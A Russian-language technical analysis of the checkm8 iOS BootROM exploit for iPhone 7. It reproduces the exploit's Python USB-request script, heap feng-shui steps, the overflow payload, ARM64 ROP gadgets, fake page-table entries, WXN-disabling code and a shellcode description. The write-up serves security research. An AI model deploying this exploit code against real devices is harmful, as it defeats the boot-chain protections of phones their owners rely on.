Скорее всего, вы уже слышали о нашумевшем эксплойте checkm8, который использует неисправимую уязвимость в BootROM
большинства iDevices, включая iPhone X. В этой статье мы предоставим технический анализ эксплойта и разберемся в причинах уязвимости.
Вы можете прочитать английскую версию статьи здесь.
Для начала кратко опишем процесс загрузки iDevice и выясним, где находится BootROM
(его также можно назвать SecureROM
) и для чего он используется. Достаточно подробная информация по этому поводу здесь. Процесс загрузки можно изобразить следующим образом:
BootROM
— первое, что исполняет процессор при включении устройства. Основные задачи BootROM
:
1) Инициализация платформы (установка необходимых регистров платформы, инициализация CPU
и т.д.)
2) Проверка и передача управления на следующую ступень загрузки
BootROM
поддерживает парсинг IMG3/IMG4
образов BootROM
имеет доступ к GID
ключу для расшифровки образов - Для проверки образов в
BootROM
встроен публичный ключ Apple
, и есть необходимая функциональность для работы с криптографией
3) Восстановление устройства при невозможности дальнейшей загрузки (Device Firmware Update
, DFU
)
BootROM
очень мал и может называться урезанной версией iBoot
, поскольку они разделяют большую часть системного и библиотечного кода. Однако, в отличие от iBoot
, BootROM
нельзя обновить. При изготовлении устройства он помещается во внутреннюю постоянную память. BootROM
— это аппаратный корень доверия цепочки загрузки. Уязвимости в нем могут позволить взять под контроль дальнейший процесс загрузки и выполнить неподписанный код на устройстве.
Появление checkm8
Эксплойт checkm8 был добавлен в утилиту ipwndfu ее автором axi0mX 27 сентября 2019 года. В то же время он объявил об обновлении в своем твиттере, сопроводив ветку описанием эксплойта и дополнительной информацией. Из этой ветки вы можете узнать, что use-after-free
уязвимость в коде USB
была обнаружена автором в процессе патч-диффинга iBoot
для iOS 12 beta
летом 2018 года. Как отмечалось ранее, у BootROM
и iBoot
много общего кода, включая код для USB
, поэтому эта уязвимость актуальна и для BootROM
.
Кроме того, код эксплойта показывает, что уязвимость эксплуатируется в DFU
. Это режим, в котором подписаный образ может быть передан на устройство через USB
, которое затем будет загружено. Это может быть необходимо, например, для восстановления устройства в случае сбоя обновления.
В тот же день пользователь littlelailo сообщил, что обнаружил эту уязвимость в марте, и опубликовал ее описание в файле apollo.txt. Описание соответствовало тому, что происходит в коде checkm8
, но не полностью разъясняет детали эксплойта. Поэтому мы решили написать эту статью и описать все детали работы вплоть до выполнения полезной нагрузки в BootROM
.
Мы проанализировали использование уязвимости на основе материалов, упомянутых выше, а также исходного кода iBoot / SecureROM
, утечка которого произошла в феврале 2018 года. Также мы использовали данные нашего тестового устройства, iPhone 7 (CPID: 8010)
. С помощью checkm8
мы удалили с него дампы SecureROM
и SecureRAM
, что помогло нам с анализом.
Необходимые знания о USB
Обнаруженная уязвимость находится в коде USB
, поэтому требуется некоторое знание этого интерфейса. Вы можете прочитать полную спецификацию здесь, но она довольно обширна. Отличный материал, которого более чем достаточно для дальнейшего понимания, — USB in a NutShell. Здесь мы представим только самое главное.
Существуют различные типы передачи данных по USB
. В DFU
используется только режим Control Transfers
(про него можно прочитать по ссылке). Каждая транзакция в этом режиме состоит из трех стадий:
1. Setup Stage
— на этой стадии отправляется SETUP
-пакет, который состоит из следующих полей:
bmRequestType
— описывает направление, тип и получателя запроса bRequest
— определяет, какой именно запрос производится wValue
, wIndex
— в зависимости от запроса могут быть интерпретированы по-разному wLength
— длинна принимаемых/передаваемых данных в Data Stage
2.Data Stage
— опциональная стадия, на которой происходит передача данных. В зависимости от SETUP
-пакета из предыдущей стадии это может быть отправка данных от хоста к устройству (OUT
) или наоборот (IN
). Данные при этом отправляются небольшими порциями (в случае Apple DFU
— это 0x40 байт).
- Когда хост хочет передать очередную порцию данных, он отправляет
OUT
-токен, после чего отправляются сами данные. - Когда хост готов принять данные от устройства, он отправляет
IN
-токен, в ответ на который устройство отправляет данные.
3.Status Stage
— завершающая стадия, на которой сообщается статус всей транзакции.
- Для
OUT
-запросов хост отправляет IN
-токен, в ответ на который устройство должно отправить пакет данных нулевой длины. - Для
IN
-запросов хост отправляет OUT
-токен и пакет данных нулевой длины.
OUT
— и IN
-запросы представлены на схеме ниже. Мы намеренно убрали из описания и схемы взаимодействия ACK
, NACK
и другие пакеты хендшейка, так как они не играют особой роли в самом эксплойте.
Анализ apollo.txt
Мы начали анализ с разбора уязвимости из документа apollo.txt. В нем описывается алгоритм работы DFU
-режима:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
- if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
- the interface code verifies that wLength is shorter than the input output buffer length and if that’s the case it updates a pointer passed as an argument with a pointer to the input output buffer
- it then returns wLength which is the length it wants to recieve into the buffer
- the usb main code then updates a global var with the length and gets ready to recieve the data packages
- if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
- if all the data was recieved the dfu specific code is called again and that then goes on to copy the contents of the input output buffer to the memory location from where the image is later booted
- after that the usb code resets all variables and goes on to handel new packages
- if dfu exits the input output buffer is freed and if parsing of the image fails bootrom reenters dfu
Сначала мы объединяем описанные шаги с исходным кодом iBoot
. Поскольку мы не можем использовать фрагменты исходного кода, просочившиеся в статью, мы покажем псевдокод, полученный путем обратного проектирования SecureROM
нашего iPhone 7
в IDA
. Вы можете легко найти исходный код iBoot
и перемещаться по нему.
При инициализации режима DFU
выделяется IO
-буфер и регистрируется USB
-интерфейс для обработки запросов к DFU
:
При поступлении SETUP
-пакета запроса к DFU
вызывается соответствующий обработчик интерфейса. В случае успешного выполнения OUT
-запроса (например, при передаче образа) обработчик должен по указателю вернуть адрес IO
-буфера для транзакции и размер данных, которые ожидает получить. При этом адрес буфера и размер ожидаемых данных сохраняются в глобальных переменных.
Обработчик интерфейса для DFU
представлен на скриншоте ниже. Если запрос корректный, то по указателю возвращается адрес IO
-буфера, аллоцированного на стадии инициализации DFU
, и длина ожидаемых данных, которая берется из SETUP
-пакета.
Во время Data Stage
каждая порция данных записывается в IO
-буфер, после чего адрес IO
-буфера сдвигается и обновляется счетчик полученных данных. После получения всех ожидаемых данных вызывается обработчик данных интерфейса и очищается глобальное состояние передачи.
В обработчике данных DFU
полученные данные перемещаются в область памяти, из которой в дальнейшем будет происходить загрузка. Судя по исходному коду iBoot
, эту область памяти в Apple
называют INSECURE_MEMORY
.
Когда вы выходите из режима DFU
, ранее выделенный IO
-буфер освобождается. Если образ успешно получен в режиме DFU
, он будет проверен и загружен. Если при работе в режиме DFU
произошла ошибка или полученный образ не может быть загружен, DFU будет повторно инициализирован, и все начнется заново.
В описанном алгоритме и кроется use-after-free
уязвимость. Если во время загрузки мы отправим пакет SETUP
и завершим транзакцию, пропуская Data Stage
, глобальное состояние останется инициализированным, когда мы снова войдем в цикл DFU
, и мы сможем писать по адресу IO
-буфера, выделенного в предыдущей итерации DFU
.
Разобравшись с уязвимостью use-after-free
, мы задались вопросом: как мы можем что-то перезаписать в следующей итерации DFU
? В конце концов, перед сбросом DFU
все ранее выделенные ресурсы освобождаются, и место в памяти в новой итерации должно быть точно таким же. Оказывается, есть еще одна интересная и довольно приятная ошибка утечки памяти, которая позволяет использовать уязвимость use-after-free
, о которой мы поговорим позже.
Анализ checkm8
Перейдем непосредственно к анализу эксплойта checkm8
. Для простоты разберем модифицированную версию эксплойта для iPhone 7
, в которой был убран код, связанный с другими платформами, изменена последовательность и типы USB
-запросов без потери работоспособности эксплойта. Также в данной версии убран процесс построения полезной нагрузки, с ним можно ознакомиться в оригинальном файле checkm8.py
. Понять, в чем состоят отличия версий для других устройств, не должно составить труда.
from checkm8 import *
def main():
print '*** checkm8 exploit by axi0mX ***'
device = dfu.acquire_device(1800)
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, _ = exploit_config(device.serial_number)
t8010_nop_gadget = 0x10000CC6C
callback_chain = 0x1800B0800
t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
stall(device)
leak(device)
for i in range(6):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i+0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
if __name__ == '__main__':
main()
Работу checkm8
можно разделить на несколько стадий:
- Подготовка кучи (
heap feng-shui
) - Аллокация и освобождение
IO
-буфера без очистки глобального состояния - Перезапись
usb_device_io_request
в куче с помощью use-after-free
- Размещение полезной нагрузки
- Исполнение
callback-chain
- Исполнение
shellcode
Рассмотрим каждую из стадий подробно.
1. Подготовка кучи (heap feng-shui)
Как нам кажется, это наиболее интересная стадия, и ей мы уделили особое внимание.
stall(device)
leak(device)
for i in range(6):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
Этот этап необходим для достижения удобного состояния кучи для эксплуатации use-after-free
. Для начала рассмотрим вызовы stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
— это обертка над device.ctrlTransfer
с игнорированием любых исключений, возникших при выполнении запроса. libusb1_async_ctrl_transfer
— обертка над функцией libusb_submit_transfer
из libusb
для асинхронного выполнения запроса.
Оба вызова принимают следующие параметры:
1. Экземпляр устройства
2. Данные для SETUP
-пакета (их описание тут):
bmRequestType
bRequest
wValue
wIndex
- Размер данных (
wLength
) или сами данные для Data Stage
- Таймаут запроса
Аргументы bmRequestType
, bRequest
, wValue
и wIndex
являются общими для всех трех видов запросов. Они означают:
1.bmRequestType = 0x80
0b1XXXXXXX
— направление Data Stage
от устройства к хосту (Device to Host) 0bX00XXXXX
— стандартный тип запроса 0bXXX00000
— получатель запроса — устройство
2.bRequest = 6
— запрос на получение дескриптора (GET_DESCRIPTOR
)
3.wValue = 0x304
wValueHigh = 0x3
— определяет тип получаемого дескриптора — строка (USB_DT_STRING
) wValueLow = 0x4
— индекс строкового дескриптора, 4 соответствует серийному номеру устройства (в данном случае строка имеет вид CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
4.wIndex = 0x40A
— идентификатор языка строки, его значение не важно для эксплуатации и может быть изменено.
При любом из этих трех запросов в куче выделяется 0x30 байт под объект следующей структуры:
Наиболее интересными полями данного объекта являются callback
и next
.
callback
— указатель на функцию, которая будет вызвана при завершении запроса. next
— указатель на следующий объект того же типа, необходим для организации очереди запросов.
Ключевой особенностью вызова stall
является использование асинхронного выполнения запроса с минимальным таймаутом. Благодаря этому, если вам повезет, запрос будет отменен на уровне ОС и останется в очереди на выполнение, а транзакция не будет завершена. При этом устройство продолжит получать все входящие пакеты SETUP
и, при необходимости, поместит их в очередь выполнения. Позже с помощью экспериментов с контроллером USB
на Arduino
удалось выяснить, что для успешной работы хост должен отправить пакет SETUP
и токен IN
, после чего транзакция должна быть отменена по таймауту.Схематично, такую незавершенную транзакцию можно изобразить так:
В остальном запросы отличаются только длиной и всего лишь на единицу. Дело в том, что для стандартных запросов существует стандартный callback
, который выглядит так:
Значение io_length
равно минимуму из wLength
в SETUP
-пакете запроса и оригинальной длины запрашиваемого дескриптора. За счет того, что дескриптор достаточно длинный, мы можем точно контролировать значение io_length
в пределах его длины. Значение g_setup_request.wLength
равно значению wLength
последнего SETUP
-пакета, в данном случае — 0xC1
.
Таким образом, при завершении запросов, сформированных с помощью вызовов stall
и leak
, условие в завершающей callback
-функции выполняется, и вызывается usb_core_send_zlp()
. Этот вызов просто создает нулевой пакет (zero-length-packet
) и добавляет его в очередь исполнения. Это необходимо для корректного завершения транзакции в Status Stage
.
Запрос завершается вызовом функции usb_core_complete_endpoint_io
, которая сначала вызывает callback
, а затем освобождает память запроса. При этом завершение запроса может происходить не только при фактическом завершении всей транзакции, но и при сбросе USB
. Как только будет получен сигнал сброса USB
, будет произведен обход очереди запросов, и каждый из них будет завершен.
За счет выборочного вызова usb_core_send_zlp()
при обходе очереди запросов с их последующим освобождением можно добиться достаточного контроля кучи для эксплуатации use-after-free
. Для начала посмотрим на сам цикл освобождения:
Очередь запросов сначала очищается, потом производится обход отмененных запросов, и они завершаются с помощью вызова usb_core_complete_endpoint_io
. При этом выделенные с помощью usb_core_send_zlp
запросы помещаются в ep->io_head
. После завершения процедуры сброса USB
вся информация о конечной точке будет обнулена, в том числе указатели io_head
и io_tail
, и запросы нулевой длины останутся в куче. Так можно создать чанк небольшого размера посреди всей остальной кучи. На схеме ниже показано, как это происходит:
Куча в SecureROM
устроена таким образом, что новая область памяти выделяется из подходящего свободного чанка наименьшего размера. Создав небольшой свободный чанк описанным выше методом, можно повлиять на выделение памяти при инициализации USB
и на выделение io_buffer
и запросов.
Для лучшего понимания разберемся, какие запросы к куче происходят при инициализации DFU
. В ходе анализа исходного кода iBoot
и реверс-инжиниринга SecureROM
нам удалось получить следующую последовательность:
1. Аллокация различных строковых дескрипторов
1.1. Nonce
(размер 234
)
1.2. Manufacturer
(22
)
1.3. Product
(62
)
1.4. Serial Number
(198
)
1.5. Configuration string
(62
)
2. Аллокации, связанные с созданием таска USB
-контроллера
2.1. Структура таска (0x3c0
)
2.2. Стек таска (0x1000
)
3. io_buffer
(0x800
)
4. Конфигурационные дескрипторы
4.1. High-Speed
(25
)
4.2. Full-Speed
(25
)
Затем происходит аллокация структур запросов. При наличии чанка небольшого размера в середине пространства кучи часть аллокаций из первой категории уйдут в этот чанк, а все остальные аллокации сдвинутся, за счет чего мы сможем переполнить usb_device_io_request
, обратившись к старому буферу. Схематично это можно изобразить следующим образом:
Для расчета необходимого смещения мы решили просто проэмулировать перечисленные выше аллокации, немного адаптировав исходный код кучи iBoot
.
Эмуляция обращений к куче в DFU
Вывод программы при 8-ми запросах на этапе heap feng-shui
:
chunk = 0x1004000
descs[0] = 0x1004480
descs[1] = 0x10045c0
descs[2] = 0x1004640
descs[3] = 0x10046c0
descs[4] = 0x1004800
task = 0x1004880
task_stack = 0x1004c80
io_buf = 0x1008d00
hs = 0x1009540
fs = 0x10095c0
zlps[0] = 0x1009a40
zlps[1] = 0x1009640
**********
descs[0] = 0x10096c0
descs[1] = 0x1009800
descs[2] = 0x1009880
descs[3] = 0x1009900
descs[4] = 0x1004480
task = 0x1004500
task_stack = 0x1004900
io_buf = 0x1008980
hs = 0x10091c0
fs = 0x1009240
io_req[0] = 0x10092c0
io_req[1] = 0x1009340
io_req[2] = 0x10093c0
io_req[3] = 0x1009440
io_req[4] = 0x10094c0
**********
io_req_off = 0x5c0
hs_off = 0x4c0
fs_off = 0x540
Очередной usb_device_io_request
окажется по смещению 0x5c0
от начала предыдущего буфера, что соответсвует коду эксплойта:
t8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
В правильности описанных выше рассуждений можно убедиться, проанализировав актуальное содержимое кучи в SecureRAM
, которое мы получили с помощью checkm8
. Мы написали довольно простой скрипт, который парсит дамп кучи и перечисляет чанки. При парсинге стоит учесть, что при переполнении usb_device_io_request
часть метаданных чанков была повреждена, и их мы пропускаем при анализе скриптом.
import struct
from hexdump import hexdump
with open('HEAP', 'rb') as f:
heap = f.read()
cur = 0x4000
def parse_header(cur):
_, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
is_free = t & 1
prev_free = (t >> 1) & 1
prev_size = t >> 2
this_size *= 0x40
prev_size *= 0x40
return this_size, is_free, prev_size, prev_free
while True:
try:
this_size, is_free, prev_size, prev_free = parse_header(cur)
except Exception as ex:
break
print('chunk at', hex(cur + 0x40))
if this_size == 0:
if cur in (0x9180, 0x9200, 0x9280):
this_size = 0x80
else:
break
print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
cur += this_size
С выводом скрипта с комментариями можно ознакомиться под спойлером. Видно, что младшие байты адресов совпадают с результатом эмуляции.
Результат парсинга кучи в SecureRAM
Также интересный эффект можно получить, переполняя конфигурационные дескрипторы High Speed
и Full Speed
, которые находятся сразу после IO
-буфера. Одно из полей конфигурационного дескриптора отвечает за его общую длину, и, переполнив его, можно добиться чтения за пределами дескриптора. Предлагаем заинтересованному читателю проделать это самостоятельно, модифицировав код эксплойта соответствующим образом.
2. Аллокация и освобождение IO-буфера без очистки глобального состояния
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
На данном этапе создается незавершенный OUT
-запрос для загрузки образа. При этом происходит инициализация глобального состояния, и в io_buffer
будет помещен адрес буфера в куче. Затем происходит сброс DFU
с помощью запроса DFU_CLR_STATUS
, и начинается новая итерация работы DFU
.
3. Перезапись usb_device_io_request
в куче с помощью use-after-free
device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
Здесь происходит выделение объекта типа usb_device_io_request
в куче и его переполнение с помощью t8010_overwrite
, содержимое которого было приведено на первом этапе.
Значениями t8010_nop_gadget
и 0x1800B0800
должны переполниться поля callback
и next
структуры usb_device_io_request
.
t8010_nop_gadget
представлен ниже и соответствует своему названию, однако в нем происходит не просто возврат из функции, а еще и восстановление предыдущего регистра LR
, из-за чего пропускается вызов free
после callback
-функции в usb_core_complete_endpoint_io
. Это важно, так как при переполнении мы повреждаем метаданные кучи, и при попытке освобождения это повлияло бы на работу эксплойта.
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET
next
указывает на INSECURE_MEMORY + 0x800
. В INSECURE_MEMORY
будет находиться полезная нагрузка эксплойта, а по смещению 0x800
в полезной нагрузке находится callback-chain
, речь о котором пойдет ниже.
4. Размещение полезной нагрузки
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i+0x800], 50)
На данном этапе каждый следующий пакет помещается в область памяти для образа. Итоговая полезная нагрузка выглядит следующим образом:
0x1800B0000: t8010_shellcode # инициализирующий shell-code
...
0x1800B0180: t8010_handler # новый обработчик usb-запросов
...
0x1800B0400: 0x1000006a5 # дескриптор фейковой таблицы трансляции
# соответствует SecureROM (0x100000000 -> 0x100000000)
# совпадает со значением в оригинальной таблице трансляции
...
0x1800B0600: 0x60000180000625 # дескриптор фейковой таблицы трансляции
# соответствует SecureRAM (0x180000000 -> 0x180000000)
# совпадает со значением в оригинальной таблице трансляции
0x1800B0608: 0x1800006a5 # дескриптор фейковой таблицы трансляции
# новое значение транслирует 0x182000000 в 0x180000000
# при этом в данном дескрипторе есть права на исполнение кода
0x1800B0610: disabe_wxn_arm64 # код для отключения WXN
0x1800B0800: usb_rop_callbacks # callback-chain
5. Исполнение callback-chain
dfu.usb_reset(device)
dfu.release_device(device)
После сброса USB
начинается цикл отмены незавершенных usb_device_io_request
в очереди с помощью прохода по связанному списку. На предыдущих этапах мы подменили продолжение очереди запросов, благодаря чему можно контролировать цепочку вызовов callback
. Для построения этой цепочки используется следующий гаджет:
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
bootrom:000000010000CC50 LSL W2, W2, W9
bootrom:000000010000CC54 MOV X0, X8 ; arg0
bootrom:000000010000CC58 BLR X10 ; call
bootrom:000000010000CC5C CMP W0, #0
bootrom:000000010000CC60 CSEL W0, W0, W19, LT
bootrom:000000010000CC64 B loc_10000CC6C
bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
bootrom:000000010000CC68
bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j
bootrom:000000010000CC68 MOV W0, #0
bootrom:000000010000CC6C
bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0]
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET
Как видите, по смещению 0x70
от указателя на структуру загружаются адрес вызова и первый аргумент для вызова. С помощью этого гаджета можно легко делать вызовы вида f(x)
для произвольных f
и x
.
Всю цепочку вызовов можно легко проэмулировать, используя Unicorn Engine
. Мы сделали это с помощью нашей модифицированной версии плагина uEmu.
Результат работы всей цепочки для iPhone 7
с пояснениями приведем ниже.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0
0000000100000470: RET
Очистка и инвалидация кэша процессора по виртуальному адресу. Это необходимо для того, чтобы в дальнейшем процессор обращался именно к нашей полезной нагрузке.
5.2. dmb
0000000100000478: DMB SY
000000010000047C: RET
Барьер памяти, гарантирующий завершение всех операций с памятью, производимых до этой инструкции. Дело в том, что в высокопроизводительных процессорах в целях оптимизации инструкции могут исполнятся в порядке, отличном от запрограммированного.
5.3. enter_critical_section()
Затем происходит маскировка прерываний для атомарного выполнения последующих операций.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET
Устанавливается новое значение регистра трансляции TTBR0_EL1
в 0x1800B0000
. Это адрес INSECURE MEMORY
, где расположена полезная нагрузка эксплойта. Как было замечено ранее, по нужным смещениям в полезной нагрузке расположены дескрипторы трансляции:
...
0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx)
...
0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw)
0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx)
...
5.5. tlbi
0000000100000434: DSB SY
0000000100000438: SYS #0, c8, c7, #0
000000010000043C: DSB SY
0000000100000440: ISB
0000000100000444: RET
Происходит инвалидация таблицы трансляции для того, чтобы адреса транслировались в соответствии с нашей новой таблицей трансляции.
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000
ADD X2, X1, #0xA0000
ADD X1, X1, #0x625
STR X1, [X2,#0x600]
DMB SY
MOV X0, #0x100D
MSR SCTLR_EL1, X0
DSB SY
ISB
RET
Происходит отключение WXN
(Write permission implies Execute-never), после чего можно исполнять код в RW
памяти. Исполнение самого кода отключения WXN
возможно из-за модифицированной на предыдущем этапе таблицы трансляции.
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET
Восстанавливается оригинальное значение регистра трансляции TTBR0_EL1
. Это необходимо для дальнейшей корректной работы BootROM
при трансляции виртуальных адресов, так как данные в INSECURE_MEMORY
будут перезаписаны.
5.8. tlbi
Происходит повторный сброс таблицы трансляции.
5.9. exit_critical_section()
Обработка прерываний возвращается в нормальное состояние.
5.10. 0x1800B0000
Управление на инициализирующий shellcode
передается.
Таким образом, основная задача callback-chain
— это отключение WXN
и передача управления на shellcode
в RW
-памяти.
6. Исполнение shellcode
Сам shellcode
находится в src/checkm8_arm64.S
и делает следующее:
6.1. Перезапись конфигурационных USB
-дескрипторов
В глобальной памяти хранятся два указателя на конфигурационные дескрипторы usb_core_hs_configuration_descriptor
и usb_core_fs_configuration_descriptor
, расположенные в куче. Во время третьего этапа эти дескрипторы были повреждены. Так как они необходимы для корректной работы с USB
-устройством, shellcode
их восстанавливает.
6.2. Изменение USBSerialNumber
Создается новая строка-дескриптор с серийным номером, к которой дописывается подстрока " PWND:[checkm8]"
. В дальнейшем это поможет определить, успешно ли отработал эксплойт.
6.3. Перезапись указателя обработчика USB
-запросов на новый
Оригинальный указатель на обработчик USB
-запросов к интерфейсу перезаписывается указателем на новый обработчик, который будет размещен в памяти на следующем шаге.
6.4. Копирование обработчика USB
-запросов в TRAMPOLINE
область памяти (0x1800AFC00
)
При получении USB
-запроса новый обработчик сравнивает wValue
запроса с 0xffff
и, если они не равны, возвращает управление на оригинальный обработчик. Если значения совпадают, то в новом обработчике могут быть исполнены различные команды: memcpy
, memset
и exec
(вызов произвольного адреса с произвольным набором аргументов).
На этом анализ эксплойта можно считать завершенным.
Реализация эксплойта на более низком уровне работы с USB
В качестве бонуса и для понимания атаки на более низком уровне мы
опубликовали Proof-of-Concept реализацию
checkm8
на
Arduino
с
Usb Host Shield. PoC
работает только на
iPhone 7
, но его легко перенести на другие устройства. При подключении
iPhone 7
в режиме
DFU
к
Usb Host Shield
все действия, описанные в статье, будут выполнены, и устройство перейдет в режим
PWND
:, после чего его можно будет подключить к USB-порту персонального компьютера и работать с ним через утилиту
ipwndfu (дамп памяти, использование криптографических ключей и т. д.).Этот метод более стабилен, чем использование асинхронных запросов с минимальным таймаутом, поскольку мы работаем напрямую с контроллером USB. Для реализации использовалась библиотека USB_Host_Shield_2.0. Его нужно немного доработать, файл патча тоже есть в репозитории.
Заключение
На этом наш технический анализ завершен. Было очень интересно разобраться с эксплойтом checkm8. Мы надеемся, что эта статья будет полезна для сообщества и побудит людей проводить больше исследований в этой области. Сама уязвимость уже оказала и продолжит оказывать влияние на jailbreak-сообщество. Н Например, уже ведутся работы над jailbreak
на основе checkm8
— checkra1n.Поскольку уязвимость необратима, полученный джейлбрейк всегда будет работать на уязвимых чипах (от A5 до A11), независимо от версии iOS
. Не забывайте об iWatch, Apple TV
и других уязвимых устройствах. Мы уверены, что в ближайшее время появятся и другие интересные проекты для устройств Apple
.
Помимо jailbreak, эта уязвимость окажет большое влияние на исследователей устройств Apple. С помощью checkm8
вы уже можете включить подробную загрузку iOS, сделать дамп SecureROM
или использовать ключ GID
для расшифровки образов прошивки. Однако, на наш взгляд, наиболее интересной особенностью нового эксплойта является возможность отладки уязвимых устройств с помощью специального JTAG/SWD кабеля.Раньше это было возможно только на специальных прототипах, получить которые было крайне сложно, или с помощью специализированных сервисов. Соответственно, с появлением checkm8 исследовать Apple станет намного проще и дешевле.